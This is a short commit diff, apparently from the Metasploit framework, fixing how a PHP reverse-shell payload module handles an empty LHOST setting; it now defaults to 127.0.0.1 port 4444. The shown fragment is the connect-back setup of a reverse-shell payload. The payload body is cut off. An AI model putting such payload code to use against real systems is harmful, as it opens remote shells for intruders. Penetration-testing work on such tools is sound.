Really fix the empty LHOST bug

git-svn-id: file:///home/svn/framework3/trunk@5431 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2008-03-04 21:40:04 +00:00
parent 7b10ffbae6
commit c546d6ec9c
1 changed files with 6 additions and 4 deletions

View File

@ -69,11 +69,13 @@ module ReversePhp
def php_reverse_shell
if (!datastore['LHOST'] or datastore['LHOST'].empty?)
# LHOST should always be set when we get here... but in case it isn't,
raise Rex::ArgumentError, "LHOST is required"
# datastore is empty on msfconsole startup
ipaddr = 0x7f000001
port = 4444
else
ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first
port = datastore['LPORT']
end
ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first
port = datastore['LPORT']
#
# The regex looks like this unobfuscated: